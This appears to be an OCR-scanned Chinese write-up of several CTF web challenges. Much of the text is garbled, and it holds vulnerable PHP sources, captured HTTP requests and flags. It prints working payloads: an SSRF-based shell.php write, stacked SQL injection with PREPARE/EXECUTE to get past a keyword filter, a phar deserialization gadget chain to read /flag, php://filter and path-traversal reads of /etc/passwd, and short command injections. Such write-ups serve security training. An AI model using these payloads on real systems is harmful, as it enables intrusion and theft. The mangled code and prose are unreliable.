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<html lans="en”>

<head>
<{meta charset="UTF-8">
<{meta name= viewport® content="width=device-width, initial-scale=1.0">
<meta http-equiv="¥-UA-Compatible” content="ie=edze”>
<titlerDocument</titler

</head>

<hody>
<l -—szource. php-->
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<?php
highlight file(_ FILE_);
class emmm
{
public static function checkFile(&$page)
{
$whitelist [
if (! isset($page) is_string($page)) {
echo ;

]

return false;

if (in_array($page, $whitelist)) {

return true;

$_page = mb_substr(

$page,
0,
mb_strpos($page .

t see it

$_REQUEST[
$_REQUEST[ ]
$_REQUEST[

$_REQUEST[
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highlight file(_ FILE_);
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echo ;
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<?php

if (iz=zet (§_GET) && lemptyw($_GET)){
furl = $ GET[ file'];
fpath = “upload/”.$_GET[ path’];

telsed
show_source(  FILE )
exit ()

1

if {ztrpos{fpath,”.."} > -131
die(’Thiz iz a wafl’);
1

if (strpos (furl, "hitp://127.0.0.177) === 0} {
file_put_contentz(fpath, file get_contentsz(furl)):
echo "conzole. log ($path update succeszed!)”;

telzel
echo “"Hello.Geeker”:

1

TR .
& NpathffI W ERBESH"...", 1 N fileffs PN 25 2645 LA http://127.0.0.1/HF 3k .
2384 Nfile=http://127.0.0.1/&path=shell.php
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console.log(upload/shell.php update successed!)
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# aA [ esEnnEes.. H=E T 3 It flutter CTF Openstack¥Ee]E

<7php
if {izzer (§_GET) && lempry($_GET)){
$url = $_GET['file']:
Spath = “upload/”.3$_GET['path'].

lelsel
show_source (__FILE_):
exit(}:

H

if (strpos($path,”..") > -1){
die(" Thiz iz a wafl'};
i

if (strpos (Surl, "htp://127.0.0.1/7) === 0} {
file_put_contents ($path, file_get_contents(furl)):
eche “congole. log($path update successed!)”;

lelze|

: sche “Hello.Gesker”;

EH, #tindexphpINES Tidk, WA XS N, 225 Aphpinfo:
file=http://127.0.0.1/<?php phpinfo();?>&path=shell.php

© BMZCTF k4 i @ wwwbmzclub.on20320/Mile= X @ wwwbmzchub.oni20320/uplos X 4

&« - C (¢t A F=% | bmzclub.cn:20320/upload/shell.php
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array(2) |
[01=>
ztring (1) “1°
[11=>
ztring (T} “hahahah”
1
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FZTF LIEA:
1. HiA1 order by *, WHAGER LA, 2k, *4H2,80: 1" order by 258K [A] 17 .

B FRRELRIREE

Z#8 (1 orderby 2 # || 27 |

array(2) {
[0]=>
string (1) "17
[1]=>
string (7] “hahahah”



FHAE i A selectilliAi& 71 £1: 1" union select 1,2 #

MFRRAEEHIFSE | Rii—ai

Z28: (1 union select 1.2 %

|| =3

return preg match("/zelect |update|delete|drop|inzert |[where |y, /17, $inject) ;

T2t k. 22ilsqlmap R AgEE H 44 ysupersqli

ZARHESTEN
i: 1;show databases; #

Rmm Parms [ st x|

[(Raw | Hoaders | Hex | HTML | Ronder |

GET finject=1", show databases|# HTTRA 1

Host: www. bmzclub.on- 20320

Fragra; no-cachs

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

'Jsg:-.-'-\.gqn: MozllaS. 0 (Windows NT 6.1, WinE4, »64) AppleWabKn/B37 36 (KHTML,
like Gecko) Chrome/85.0.4240.138 Safan/537.36

ALcapl

texttml application/shiml+xml application/sml; g=0.9 image/a imagafwabp imagefapng
S g=0.8 application/signed-exchangevsh3q=0.9

Refarer: htip:/Favars bmazclub. on: 203200 Pinject=1%27 +ordar+hy +2+%23

Arcepl-Encoding gzip, deflate

Accepl-Language: zh-CH
Conkie session=d4559
Conngction: close

“pras
arrayi@) |
(0=
stiing(1) "1™
[}==
ﬁlingm "hahahah™
H
<br=<hr=-amay(l) {
[0]==
=ting(11) “erftraining™

¥
<hr=anray(i) {
[0]==
=tring(18) “infarmation_schema™
3
<br=amay(i) {
[0]==
string(5) “mysql™

<br=array(l) {
[0)=>

string(18) “performance_schema™

<br=array(l) {
[0]=>
sliing (%) "supersqli®
1
shr=amay(1] {
[0
sting(d) “test™
1
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HEERLAMWLE: 1;show tables; #

[—m

[ Sena | | Cancel | [ x| | >l

Request

Response

Feaders | Hex | HTML [ Riender |

Hugt: www bin2chubcn 20320
Pragma: no-cache
Cacka-Contral: ne-cache

melﬂmmﬂlwﬂh_ i

Uses-Agent: Mozilta/S.0 (Windows T 6.1 Winbd: ofd) Apple\WebEr/SIT 38 (KHTML,
Hop Gazko) ChiomaBE 0 4280 198 SafanS30 36

Attapl

taxthiml apglication/chémi+aml appicationfsmbgq=0 9 image/ael imageiwabp imagalapng
A =0 8 applicaton/signad-snchange bl =0 9

Redarar: hetp fwwa bmzelub.cn 20020 inject=1%27 sordarsby«2+%23
Accept-Encoding: grip, daflate

Accapt-Languigs: Th-CH.Thog=09

Cookin: SaFion=domesT 17-96e-41 17-9076-361 37 22478

Conmeclion close

FRAMIKE: 55 Aflaggfiwords

<ty charsu=UTFE™
<rtlamenmy_sqleiles
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hedy >
<hi=ROHT M LTS, g8, PRS- R ahi=
- sqiman B i X il —
<l mathod=" et
R4 <ingul Eype="ext” name="inject” vakee="1">
<inpud iype="subma>
wfermn>

T
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>
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H
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ol

string(5) "werds™
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has<hrs cipras

elody>

<faml>

Iy IR HE LS. 1";show columns from flagg #

Params | Headers | Hex

EHH‘.I-! l'h:IH'I'II. Render

GET /Pinject=1', show columns from Sagg| # HTTPI1
Host: waw bmzclub, on 20320

Pragma: no-cache

Cache-Control: no-cache
Upgrade-Insacure-Requesis: 1

User-Agent: MozillaS.0 (Windows NT B.1; \Wind, 164) AppleWebkitS3T 36 (KHTML,

like Gecka) Cheome/S8.0. 4240198 SafanB37 36
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Accept-Language: Th-CH 2hoq=0.9
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Connection; chose
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<form mathod="gel">
B <input lype="t=xt" name="injecl” value="
<ingut type="submit*>

<ffomma>

cprix

arvay(@) {
>

string(f) =1"
[t->
string () “Thahahah™

H
<hr><he=anrayi) {
[0]==>
stringf) Tag™
| e
string{12) "varchan{100}"

whrwrhawsinras



BI T EAVEE gy . AR BTSRRI NS T .
Select #id i, TILIEH AW . RAePrHEEE:
-1’;use supersqli;set @sql=concat('s’,'elect flag from flagg');PREPARE BMZ FROM @sql,EXECUTE BMZ#

HackBar  w [-E 3 | @ i X

mﬁ?;mmﬁﬁiﬁﬁ, ! L:m.n SPLIT  EXECUTE  TEST -  SQUl -  X8§ -
QiR—19iE: FRNZ2R

—Z: n I hittp:/rwaww bmzciub.om 20320/ 7inject=-1"use supersqli;set
@sql=concal('s elect “flag’ from "NMagg ) PREPARE BMZ FROM
@ — @sqLEXECUTE BMZ®

arrawil) |

[0]=x

atring (400 "BEICTF [GESE34600 Sedd070e 2056 1 124809 0b] Enable POST ADD HEADER
|

3 %flag.
hitcon_2017_ssrfme

IO T 5 R — B AR :

<php
$zandbox = “sandbox/” . mdS("orange” . $_SERVER["EEMOTE_LDDE"]) :
Emkdir ($zandhox) ;
@chdir (fzandbox)
fdata = shell_exec("GET “ . eszcapeshellarg(§_GET["url®]1));:
firnfo = pathinfo($ GET["filename"]);
fdir = str_replace(”.”, ", bazename(finfo["dirname”]1));
Emkdir (fdir) ;
@chdir (fdir) ;

@file_put_contentz (basename (finfo[“bazename”]),  fdata)
highlight file(__FILE__J:

F llescapeshellarg, #iARR] 1 iy & HATINIA . Yescapeshellarg/E Z 5 iy, I8 AENER . MBI AT
file_put_contentst', escapeshellarg#/it#| 7 Z¥fir. Hik, w7 Lhar 44T,

& RIS R A8 —MD & HAE TR, U4 /Zorange il b 1] 35 ifipHuhik (o md51E . Ipthdikis idip138 £ i)
{1 8

AR 2url=.. . /&filename=123
H-Jj nlsandbox/8411192b0e571e9d15a9b3a080de90d0/123. wJ LA FiR v 1 .. /0 H S 4514 «

Directory listing of ../

L
. ./
e 8411192b0e571e9d15a9b3a080de90d0/




TaEHIN: 2ur=/&filename=123. b [A]BH H 554

Directory listing of /

BATER T flagsCiF. AFRATAEZY R,
dkat N ?url=Mag&filename=123
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FIOF OO, N ESRAME, WA KR .

=
Login
Username;

Password:

Code(substr{imd5(?), 0, 5) ===
ad2b2):

BEAT H SRAAH:

re| B ]
{8&: htip: /fwwe, bazelub. en: 20330/ ETEEH
19 20 - (F cPuld » SffE) (V) DIR: 4dess [7] AsPx: 42528 ] 0
] asP: 297812 [¥] PHE: 52815 ] Rl

a3 () EHEEERER) 7 we: wm [ 7s¥: 19130 O] R

M hivp:/foww. barclub. on: 20520/ groupdebate_class/ sl 20 W s30T/
bo) HITHRAE

1 fan

z o

3 200

4 200

H 200

plog.csdn.nelirazyuses

KHlindex.php~, AT ] :

<?php

require_once user.php’ ;

$C = new Customer ()

if{izset (§ GET[ action’ 1))

require_once " views/ .$_GET[ action’];

elze

header (" Location: index.php?action=login’);



A DL RS
ActionZ ¥ ] LA 1) S, .../ .1.. ] Jetclpasswd T AE AN AE 5Bk H 7 )«

root:x:0:0: root:/root: bin/bash

daemen:x: 1: 1:daemon: /usr/sbin: /usr/sbin/nologin
binsx:2:2:bin:/bin: /usr/shin/mologin
zys:x:3:3:5ys:/devi/usr/sban/nologin
sync:x:4:65534: syne: /bin: /bansyne
games:w:5:60: ganes: Musr/ganes: fusr/shin/nologin
man:x:6:12:man: /var/cache/nan: /usr/sbin/nologin
1p:x:T:T:1p:/var/ spool/lpd: fusc/ sbin/nologin
mail:x:3:8:mail:/var/mail: fusr/ shin/nologin
news:x:9:9:news: /var/spool/news: fusr/sbinnologin

uucp:x: 10: 10:uacp: /var/spool/uucp: fusr/sbin/nologin
proxy:x: 13: 13: proxy: /bin: Susr/shin/nologin

www-data:x: 33: 33 www-dat a: Svar/www: Susr/shin/nologin
backup:x:3d: 3d: backup: fvar/backups: fusr/sbin/nologin
list:x:38:38: Mailing List Manager:/war/list:/usr/sbin/mologin
ire::39:309:ired: /var/run/1ired: fusr/sbin/nologin
gnats:w:dl:dl:Gnats Bug=Reporting System (admin):/var/lib/gnats:/ usr/sbin/nologin
nobody:x:65534: 65534 : nobody: /nonexistent :/usr/sbin/nologin
Llibuuid:x: 100: 101 s /var/11b/ 1ibuuid:
syslog:x:101:104: : ' home/ syslog: /bin/falze
mysql:x: 102: 106: MySQL Server,,, :/nonexistent:/bin/false
memcache:x: 103: 107 :Mencached, , , :/nonexistent:/bin/falsze

FH AL, IR/ flag

BMZCTF{e63e85f385484e9bbb619fdcefff88ace}

133 1 flag
hctf_cake php
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<?php

session_start();

if (lisset($ SESSION[ 'login'])) {
header("Location: login.php");
die();

< IDOCTYPE html>
<html>

<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"
<title>M#EBE</title>

<head>
<link href="static/css/bootstrap.min.css" rel="stylesheet">
<link href="static/css/panel.css" rel="stylesheet">
<script src="static/js/jquery.min.js"></script>
<script src="static/js/bootstrap.bundle.min.js"></script>
<script src="static/js/toast.js"></script>
<script src="static/js/panel.js"></script>

</head>

<body>
<nav aria-label="breadcrumb">
<ol class="breadcrumb">
<1li class="breadcrumb-item active">&EHIH</1i>
<1li class="breadcrumb-item active"><label for="fileInput" class="filelLabel"> & ff</label></1i>
<1li class="active ml-auto"><a href="#">{R4f <?php echo $_SESSION[ 'username']?></a></1li>
</ol>
</nav>
<input type="file" id="filelInput" class="hidden">
<div class="top" id="toast-container"></div>

"class.php";

$a = new FileList($_SESSION[ 'sandbox']);
$a->Name();

$a->Size();

?>

FEVERL A E ) T login.phpAliclass.php 2y 5l R4,
Login.php:

if (isset($ _SESSION[ 'login'])) {
header("Location: index.php");
die();

<meta charset="utf-8">




<meta name="description" content="">
<title>Fk</title>

<!-- Bootstrap core CSS -->

<link href="static/css/bootstrap.min.css" rel="stylesheet">

<style>
.bd-placeholder-img {
font-size: 1.125rem;

text-anchor: middle;

@media (min-width: 768px) {
.bd-placeholder-img-1g {

font-size: 3.5rem;

¥
</style>
<!-- Custom styles for this template -->
<link href="static/css/std.css" rel="stylesheet">
</head>

<body class="text-center">
<form class="form-signin" action="login.php" method="POST">
<hl class="h3 mb-3 font-weight-normal">%3</h1l>
<label for="username" class="sr-only">Username</label>
<input type="text" name="username" class="form-control" placeholder="Username" required autofocus>
<label for="password" class="sr-only">Password</label>
<input type="password" name="password” class="form-control” placeholder="Password" required>

<button class="btn btn-1g btn-primary btn-block" type="submit">#2%2</button>

=] )

<p class="mt-5 text-muted">IB¥EANKS? <a href="register.php">iEff</a></p>
<p class="text-muted">&copy; 2018-2019</p>

</form>

<div class="top" id="toast-container"></div>

src="static/js/jquery.min.js"></script>
src="static/js/bootstrap.bundle.min.js"></script>
src="static/js/toast.js"></script>

"class.php";

if (isset($_GET[ 'register'])) {
echo "<script>toast('FMEI", "info');</script>";

if (isset($_POST["username"]) && isset($ _POST["password"])) {

$u = new User();

$username = (string) $ POST["username"];

$password = (string) $ POST["password"];

if (strlen($username) < 20 && $u->verify user($username, $password)) {
$ SESSION[ 'login'] = true;
$ SESSION[ 'username’'] = htmlentities($username);
$sandbox = "uploads/" . shal($_SESSION[ 'username'] . "sftUahRiTz")




mkdir($sandbox);

¥
$ SESSION[ 'sandbox'] = $sandbox;

echo("<script>window.location.href="index.php';</script>");
die();
¥
=) H:

echo "<script>toast( 'k FoMLiEiR", 'warning');</script>";

<?php
error_reporting(0);
"127.0.0.1";
= "root";
= "root";
= "dropbox";
mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
public $db;

public function _ construct() {
global $db;
$this->db = $db;

public function user_exist($username) {
$stmt = $this->db->prepare("SELECT “username™ FROM “users™ WHERE “username’ = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;

}

return true;

public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = shal($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO “users’ (" id ', “username’, ~password ) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;

public function verify user($username, $password) {
if (!$this->user_exist($username)) {
return false;
¥
$password = shal($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT “password™ FROM “users  WHERE “username’
$stmt->bind_param("s", $username);
$stmt->execute();




$stmt->bind result($expect);

$stmt->fetch();

if (isset($expect) && $expect === $password)
return true;

}

return false;

public function _ destruct() {
$this->db->close();

class FilelList {
private $files;
private $results;

private $funcs;

public function _ construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);

foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();

public function _ call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();

public function _ destruct() {

$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="t
able table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';

}
$table .= '<th scope="col" class="text-center">0Opt</th>";
$table .= '</thead><tbody>";
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
¥

$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="dow




$table .= '</tr>';

b
echo $table;

class File {

public $filename;

public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is dir($filename)) {
return true;
} else {

return false;

public function name() {
return basename($this->filename);

public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 &R $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];

public function detele() {
unlink($this->filename);

public function close() {
return file get contents($this->filename);

T N 7] & 2 fdownload.php F1 delete.php, & & 5.
Download.php:




<?php

session_start();

if (!isset($ SESSION[ 'login'])) {
header("Location: login.php");
die();

if (lisset($ _POST['filename'])) {
die();

include "class.php";

ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION[ 'sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";

Delete.php

<?php

session_start();

if (!isset($_SESSION[ 'login'])) {
header("Location: login.php");

["filename'])) {

include "class.php";

chdir($_SESSION[ 'sandbox']);
= new File();
$filename = (string) $ _POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);




7tdownload.php™, L€ Tflag, AREEFEER. FHIBE T HRN /etc/tmp

ftdelete.phpr, 7€ | H AW BN HE ¥,

fEclass.phpt, close ) ikt & it

#download.phpifi i T close i, #1idiE 1 flag, AIFEEEL. #H AR .

Class.phpFilelistZ545 75N vk sk %: function _ callflifunction _ destruct().

function __callzii ifiles®dis, - HuiTfunc(). 45 H<ximid  destruct() /74T BN k.

UserZSHifffEclose)7i%, I HAZTTIEAE N G BB 04T .

Rk, W REAIE— MuserfXf R, FHdb & —/MFileListtf G, X RH P4 Miagifii B . XFERE, Musert) G855
i, dbEiclose /7 ik AT: MdbLE K A closelsik, XAt kcallEART %, MM T #ATFilext % close /7% .
IS HrFileLisER BT #9772 0] LLAIIE,  close /73T 5 77 fEresults 8 & HL [ 45 R 2> in A\ table s & i g TEN ok, gl flag
SREATER K

fs FHpharidf 47 7 414k

public $db;

class File {
public $filename;
¥
class Filelist {
private $files;
private $results;
private $funcs;

public function __ construct() {
$file = new File();
$file->filename = '/flag';
$this->files = array($file);
$this->results = array();
$this->funcs = array();

@unlink("phar.phar");

$phar = new Phar("phar.phar"); //J4i% 220 phar

$phar->startBuffering();

$phar->setStub("<?php _ HALT_COMPILER(); ?>");
$0 = new User();

$0->db = new FilelList();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

?>
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SCTF 2018_Simple PHP

TIPS, 2D ERME

€ > C {0 A F==2| bmzclub.cn:20320/?f=login.php

I am Muhe, Welcome to sctf2018!

Admin Login

| ” H submit ]

LalalLalalala
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base64 5 Hi/flag 3 A4

€« 2 C 0 A T2 bmzcuben:X0320/M=phpf/fiter/read =convert basefd-encode/resource = flag
I am Muhe, Welcome to SCIlZﬂlB!Q_It1anFlGe}']'lﬂ’TVIOTQS'l"le(NZQEMDNWFhZdeDWQIMGEYN'WQEfQD-Lalalalalala

Base64/i# % 5 5t 15 2lflag

&« =5 O O A F==2| bmzcub.on20320/7=php:y/ffilter/read=convert base64-encode/resource=/flag
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_[M Params ] Headers T Hex ]

POST fwrite_do. php?do=write HTTP/1.1

Host: www.bmzclub en:20320

Content-Length: 38

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: hitp:fhwww. bmzclub, cn: 20320

Content-Type: application/s-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows MNT 6.1; WinE4; x64) AppleWebKit/537 36 (KHTML, like Gacko)
Chrome/36.0.4240.198 Safari/537 .36

Accept:

text/html application/shtml+xml application/xml, q=0.9 image/avif image/webp imagefapng, */™ =08 ap
plication/signed-exchange;w=b3;q=0.9

Referer: http:/fwaww. bmzelub. cn: 20320/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN zh;q=0.9

Cookie: session=bdcad39f-2eBf-4ala-ab22-04al298fabbe; PHPSESSID=2066s0fjsad3n2hh3uc28e7
Connection: close

title=111"/"&category=222&content=333

" r
Fx 33
o= H#
BA
S
igsr
i category/ & :

JM Params THeadara IHex ]

POST fwrite_do.php?do=wnte HTTP/1.1

Host: www.bmzelub.cn:20320

Content-Length: 38

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Crrigin: http:/fwww. bmzclub.cn:20320

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 6.1; Winbd; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/86.0.4240 198 Safari/537 .36

Accept:

text/html application/xhtml+xml application/xml,q=0.9 image/avif imageiwebp image/apng "/, q=0.8 ap
plication/signed-exchange,v=h3;q=0.9

Referer: http:/fwww.bmzclub. cn: 20320/




Accept-Encoding: gzip, deflate

Accept-Language: zh-CN zh;q=09

Cookie: session=b4cad39f-2ebf-4a0a-ab22-04af298fabbe; PHPSESSID=2066s0fjsad3n2hiwducmi2Be?
Connection: close

title=111&category=222" r’li‘.conlant=333

FER S AL E IR */% B A .

Z R content{i7 & :

POST fwrite_do. php?do=write HTTP/.1

Host: www.bmzclub.cn:20320

Content-Length: 38

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http:ffwww.bmzclub. cn:20320

Content-Type: application/x-www-form-urlencoded

User-Agent; Mozilla/s.0 (Windows NT 6.1, Win64; «64) AppleWebKit/537.36 (KHTML, like Gecka)
Chrome/86.0.4240.198 Safari/537.36

Accept:

text/html application/xhtml+xml application/xml,q=0.9 image/avif image/webp,image/apng,**,q=0.8 ap
plication/signed-exchangev=b3.q=0.9

Referer: hitp:/fwww.bmzclub. cn:20320/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CM,zh;g=0.9

Cookie: session=bdcad39f2e0f-4a0a-ab22-04af298fabbc; PHPSESSID=2066s0fjsad3nZhhv@ucni2Be?
Connection: close

title=1118&category=666&content=333"/*

111
I 333
o= TITT
1EREE

it Lhcategory ] REAFAETEN
FRGHAT 2518

POST fwrite_do.php?do=write HTTP/M A

Host: www.bmzclub.cn:20320

Content-Length: 51

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http: ffwww.bmzelub. cn:20320

Content-Type: application/s-www-form-urlencoded

User-Agent: Mozilla/S.0 (Windows NT 6.1, WinG4; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/86.0.4240.198 Safan/537.36

Accept:

tavtihtoal anmlisasbisnlvhiml roesl annlicastisnlvel s= O esasalaaf ivasssloakhe imassalanme 80 qe O A



NSALF TR el LT AT TLEE T S DT el 0 el T R, =00 O IRl s al VIl I s WS A a gsrapny, § o q=wo ap
plication/signed-exchange;w=b3;q=09

Referer: hitp:/fwww. bmzelub.cn: 20320/

Accept-Encoding: gzip, deflate

Agcept-Language: zh-CN zh;q=0.9

Cookie: session=bdcad39f-2e8F4a0a-ab22-04al298fabbe, PHPSESSID=2066s50fjsad3nZhwIuecni28e7
Connection; close

title=111&category=666", content=123, *&content=33

LR = AN 456% /#
111
Fx
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UG B [e) 22123, AN ARE. FTEVA R . 155 3 -

POST fwrite_do.php?do=write HTTP/.1

Host: www.bmzclub,cn:20320

Content-Length: 67

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http:/ffwww.bmzeluben: 20320

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 6.1; WinB4; x64) AppleWebkit/537.36 (KHTML, like Gecka)
Chrome/86.0.4240.198 Safan/537 36

Accept;

text/html application/xhtml+xml application/xml;q=0.9 image/avifimage/webp image/apng */*,q=0.8 ap
plication/signed-exchange;w=b3;4=09

Referer: hitp:/fwww. bmzelub. cn: 20320/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN, zh;q=0.9

Cookie: session=bdcad39f-2e8f-4ala-ab22-04al298fabbe, PHPSESSID=2066s0fjsad3nZhhIucm28a7
Connection; close

title=111&category=666", content=(select database()), M&contand=23
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POST fwrite_do_php?do=write HTTP/.1

Host: www.bmzclub.cn:20320

Content-Length: 75

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Crrigin: hitp:/fwww.bmzelub.cn: 20320

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/S.0 (Windows NT 6.1; WinB4, x64) AppleWebkit/537 36 (KHTML, like Gecko)
Chrome/B6.0.4240.198 Safari/537.36

Accept:

text/html application/xhtmi+xml application/xml,q=0.9 image/avif image/webp image/apng,*/*,q=0.8 .ap
plication/signed-exchange v=h3;q=09

Referer: http:ffwww. bmzclub. cn: 20320/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: session=hdcad39f-2eBf-4a0a-ab22-04af2968fabbe; PHPSESSID=2066s0fjsad3nZhhvucm28e7
Connection: close

title=111&category=666", content=(select load file("Mag™), MEcontert=33
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FTOFRITL, W] LA SIS

you are in sandbox: e012d8¢224aaa32ee5d9f9c1ff971¢28

{Tphp
Jsandbox = md5(“box”. $_SERVER[' REMOTE_ADDR' ). $_SERVER[' HTTP_USER_AGENT' 1),
echo “you are in sandbox: “,$sandbox. “br/>":
@nkdir ($sandbox) ;
chdir($sandbox) ;
$eommand = $_GET[' command’];
if (strlen{$command) < 81
system{$command) ;

show_source(__FILE_ ),

FEmAPAT, HERKE/NTS,
g fkflag. EEMRE X TS HA Pcommand=1s /

L3 3 0 A FEE | bmedub.onc20320/ 7 command=1s95204

you are in sandbgy; 801 2d8c224aaa32ee 59101971028
bin boot dev etd flag|flag.sh hame lib lib64 media mat my init my service apt proc roct run shin srv sy tmp use var <

Spandtcx * =Bl box . §_SERVER[ RENOTE_ADOR' 1. 3_SERWER( HTTF_USER_AGENT 1)
#ch “you are In senles: 7 fsesdhow. TOT

Uskdir(Jpandbox) |

chair{Jaandeax]

Scommand = §_CET[' command” ]

brlanrlen{foommn) <« 8)[

svrion | Foommand!

1
show_sourca(__FILE_ )

ALV Fiflagil fEAR H 3% T .
HAT VIR

€« - C 0 A FE2| bmzclub.on:20320/?command=cat%20/flag

you are in sandbox: e012d8c224aaa32ee5d9f9c1ff971c28

{Iphp
$sandbox = mdS("box”. $_SERVER[ RENOTE_ADDR' 1. $_SERVER[' HTTP_USER_AGENT 1) .
echo “you are in sandbox: “. $sandbox. “<br/>”;
@mkdir (3sandbox) ;
chdir($sandbox) ;

$command = $_GET[' command’ ];
if (strlen($command) < 8){
system(3command) |

]
show_source(__FILE_);

WA . FONSEPAE %20 , 83T/, EHPATHGASKERII8T .
i * %, #iAN: ?command=cat /f*

youl ane i sandbox o0 20802240 1 0ee SAFOCI 19T 128
BMZCTFIORE1TE0] b2 4aT ol ) ed B0 64081 341) #|/bisykath eche SFLAG » fimp/Tagfag sapert FLAG-Tlag not_here FLAG -flag ret_heve e -f Justflocalfapachel logs hoipd pid
apachadet] pact while test *1° = *1° do sleep 1000 dane rm -f Mag sh e

Yo o n ¥

B SRR FINOS MO | 5 SERVIRS T ST ACENT
e parvkan i

FEE], EOFRM A SN AR R T HR. ] LA Flflag

sqli_double

FTIT 1k B A] 7 A
::fl‘flde *db.phe”

fanction  adman change_paspeord(l |

Susername = trinlf POSTI" name’ 17



e
Sparrward

w 1d from user where w_pame=" fusername’ end u_emadl=" Semanl” ")
$u_pasiverd o
a wang werd successs
seriptialar meting erreT T
sme erzor 107 ) 4 zexip v
e admin_logami) |
Susernane
fpazsvard =
$query myrgli_gaery d from urer where wo_nases"Jusername’ and u_pasrvord =", mdS (fpazewerd), """
if Srow
et pt
scha
FU5_CET[" action i
Faction TCET[Mactd

act 1ons pars )
admar_charge_passvord()

sche “{div align="center*>{isg sze="ingfting. jpe”
highlight_filel__fils

AT, — NSRBI (FFERITER 7 2R, — 28
KR BRATTAN J3E FH P 2 AR A, S a8 s o -

http://www.bmzclub.cn:20320/?action=login

Enable

POST application/x-www-form-urlencoded -

na fne=admin_c‘tf&password=1 23

ADD HEADER

B A s B SR R, BRATIAN R B s F P 4448 1, 2 8 H sqlmapidE A7 B -

ATLLE B C i T R R A Amysql
R :

[5]:




formance_schema
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BUESRATRE 7RI A AEAE, ST VMBS 1. B E S, RITE Biflag:

< C Y A F==%| bmzclub.cn:20320/?action=login
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